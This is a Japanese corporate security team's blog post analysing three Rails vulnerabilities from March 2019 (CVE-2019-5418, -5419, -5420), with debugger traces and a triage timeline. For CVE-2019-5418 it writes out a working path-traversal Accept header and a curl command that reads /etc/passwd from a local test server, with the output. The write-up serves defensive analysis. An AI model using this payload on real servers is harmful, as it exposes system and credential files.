セキュリティ対策室の mrtc0 です。
セキュリティ対策室では、サービスで利用しているパッケージやライブラリ等の脆弱性情報を日々収集し分析しています。
そこで今回は 2019/3/14 に公開された次の3つの Rails の脆弱性の詳細をまとめたいと思います。
- CVE-2019-5418 File Content Disclosure in Action View
- CVE-2019-5419 Denial of Service Vulnerability in Action View
- CVE-2019-5420 Possible Remote Code Execution Exploit in Rails Development Mode
CVE-2019-5418 : File Content Disclosure in Action View
ディレクトリトラバーサルです。 render file:
でファイルを表示している場合、細工されたヘッダを受け付けることで、サーバー上の任意のファイルがレンダリングされます。
影響を受ける Controller のコードは次のようなものになります。
class SomeController < ApplicationController
def notfound
render file: "#{Rails.root}/public/404.html"
end
end
具体的な攻撃方法
細工されたヘッダ、とありますが、どのようなヘッダなのでしょうか?
脆弱性の修正コミットを見ると、Rails が知っている MIME-Type のみ受け付けるようになっています。
--- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -79,6 +79,11 @@ def formats
else
[Mime[:html]]
end
+
+ v = v.select do |format|
+ format.symbol || format.ref == "*/*"
+ end
+
set_header k, v
end
end
以上から Accept
ヘッダに基づいてファイルをレンダリングする処理に脆弱性があると考えられます。
ではレンダリングの処理を追いかけてみます。
ここでは render file: Rails.root.join('public/404.html')
を要求したときの処理をトレースしていきます。
また、Accept ヘッダに脆弱性があると推測しているので、適当な値 ../../path/to/file
を与えます。
render()
に処理が入り、ステップ実行で観察していきます。
From: /home/mrtc0/tmp/ruby/rails/sample/vendor/bundle/ruby/2.5.0/gems/actionpack-5.2.2/lib/action_controller/metal/instrumentation.rb @ line 44 ActionController::Instrumentation#render:
43: def render(*args)
=> 44: render_output = nil
45: self.view_runtime = cleanup_view_runtime do
46: Benchmark.ms { render_output = super }
47: end
48: render_output
49: end
処理を追っていくと find_templates
にたどり着きます。
From: /home/mrtc0/tmp/ruby/rails/sample/vendor/bundle/ruby/2.5.0/gems/actionview-5.2.2/lib/action_view/template/resolver.rb @ line 220 ActionView::PathResolver#find_templates:
218: def find_templates(name, prefix, partial, details, outside_app_allowed = false)
219: path = Path.build(name, prefix, partial)
=> 220: query(path, details, details[:formats], outside_app_allowed)
221: end
query
を追いかけます。
From: /home/mrtc0/tmp/ruby/rails/sample/vendor/bundle/ruby/2.5.0/gems/actionview-5.2.2/lib/action_view/template/resolver.rb @ line 225 ActionView::PathResolver#query:
224: def query(path, details, formats, outside_app_allowed)
=> 225: query = build_query(path, details)
226:
227: template_paths = find_template_paths(query)
228: template_paths = reject_files_external_to_app(template_paths) unless outside_app_allowed
229:
230: template_paths.map do |template|
231: handler, format, variant = extract_handler_and_format_and_variant(template)
232: contents = File.binread(template)
233:
234: Template.new(contents, File.expand_path(template), handler,
235: virtual_path: path.virtual,
236: format: format,
237: variant: variant,
238: updated_at: mtime(template)
239: )
240: end
241: end
ここでレンダリングするテンプレートのパスを解決していることがわかります。 引数を確認してみます。
[1] pry(#<ActionView::FallbackFileSystemResolver>)> path
=> #<ActionView::Resolver::Path:0x000055befcba8180
@name="404.html",
@partial=false,
@prefix="home/mrtc0/tmp/ruby/rails/sample/public",
@virtual="home/mrtc0/tmp/ruby/rails/sample/public/404.html">
[2] pry(#<ActionView::FallbackFileSystemResolver>)> details
=> {:locale=>[:en],
:formats=>["../../../path/to/file"],
:variants=>[],
:handlers=>[:raw, :erb, :html, :builder, :ruby, :coffee, :jbuilder]}
details[:formats]
に Accept
ヘッダの値が入っていることが確認できます。
build_query
の処理を見てみます。
From: /home/mrtc0/tmp/ruby/rails/sample/vendor/bundle/ruby/2.5.0/gems/actionview-5.2.2/lib/action_view/template/resolver.rb @ line 262 ActionView::PathResolver#build_query:
261: def build_query(path, details)
262: query = @pattern.dup
263:
264: prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1"
265: query.gsub!(/:prefix(\/)?/, prefix)
266:
267: partial = escape_entry(path.partial? ? "_#{path.name}" : path.name)
268: query.gsub!(/:action/, partial)
269:
270: details.each do |ext, candidates|
271: if ext == :variants && candidates == :any
272: query.gsub!(/:#{ext}/, "*")
273: else
274: query.gsub!(/:#{ext}/, "{#{candidates.compact.uniq.join(',')}}")
275: end
276: end
277:
=> 278: File.expand_path(query, @path)
279: end
[3] pry(#<ActionView::FallbackFileSystemResolver>)> query
=> "home/mrtc0/tmp/ruby/rails/sample/public/404.html{.{en},}{.{../../../path/to/file},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}"
[4] pry(#<ActionView::FallbackFileSystemResolver>)> @path
=> "/"
[6] pry(#<ActionView::FallbackFileSystemResolver>)> step
From: /home/mrtc0/tmp/ruby/rails/sample/vendor/bundle/ruby/2.5.0/gems/actionview-5.2.2/lib/action_view/template/resolver.rb @ line 247 ActionView::PathResolver#find_template_paths:
246: def find_template_paths(query)
=> 247: Dir[query].uniq.reject do |filename|
248: File.directory?(filename) ||
249: # deals with case-insensitive file systems.
250: !File.fnmatch(query, filename, File::FNM_EXTGLOB)
251: end
252: end
以上から最終的に次のようなパスを Dir
で読み込むことになります。
[5] pry(#<ActionView::FallbackFileSystemResolver>)> File.expand_path(query, @path)
=> "/home/mrtc0/tmp/ruby/rails/sample/path/to/file},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}"
さて、これで Accept
ヘッダに指定した任意のファイルパスを読みだせそうということがわかりました。
ただし、これでは pattern としておかしいので正しくレンダリングできません。
そこで path/to/file{{
のように末尾に {{
を付与することで pattern として正しい(空文字で展開する)形にします。
すると次のようになり、正しくパターンマッチするようになります。
[5] pry(#<ActionView::FallbackFileSystemResolver>)> File.expand_path(query, @path)
=> "/home/mrtc0/tmp/ruby/rails/sample/path/to/file{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}"
これで任意のファイルを読み出せるようになりました。
試しに /etc/passwd
を読み出してみます。
$ curl -v 'http://localhost:3000/ -H 'Accept: ../../../../../../../../../../../../../../../../../../etc/passwd{{'
...
> GET / HTTP/1.1
> Host: localhost:3000
> User-Agent: curl/7.64.0
> Accept: ../../../../../../../../../../../../../../../../../../etc/passwd{{
>
< HTTP/1.1 200 OK
...
< Content-Type: text/html; charset=utf-8
<
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
render file:
を使っていることが条件ですが、攻撃が容易で深刻度が大きいですね。
CVE-2019-5419 : Denial of Service Vulnerability in Action View
前述した CVE-2019-5418 の副作用のようなものです。 CVE-2019-5418 では任意のファイルを読み出せるため、例えば大きなファイルを読み出すことでリソースを大量に消費させることができます。
CVE-2019-5420 : Possible Remote Code Execution Exploit in Rails Development Mode
Rails の development 環境での任意コード実行の脆弱性です。
修正コミットを確認すると、development 環境では secret_key_base
が nil
の場合に、その値を Digest::MD5.hexdigest(self.class.name)
で設定してしまっています。
そのため、アプリケーションを知っている開発者であればその値を推測可能になります。
secret_key_base
が漏れた場合に、なぜ任意コード実行ができるのかについては Hackerone でのレポートにも書かれている通り、 ActiveSupport::MessageVerifier
や ActiveSupport::MessageEncryptor
を介してオブジェクトインジェクションが可能なためです。
特に ActiveSupport::MessageVerifier
の場合は GET リクエストで特定のURLにアクセスするだけで発火しますので、例えば、Railsアプリケーションを手元で立ち上げたまま、ブラウザで悪意あるリンクを踏むことで任意コード実行につながるといったシナリオも考えられます。
ペパボでのトリアージ
セキュリティ対策室では脆弱性情報を複数の情報源から取得しています。 トリアージからサービス展開まではおよそ3時間で終了し、影響のあるサービスへ展開、対策を講じました。
- 2019/03/14 02:17 脆弱性公開
- 2019/03/14 02:18 トリアージ開始
- 2019/03/14 05:20 トリアージ終了、サービスへ展開
終わりに
公開された3つの脆弱性は、いずれも攻撃が成功するのに条件が必要でありますが、危険度が高い脆弱性です。 バージョンアップによる根本的対策や緩和策を講じることを推奨します。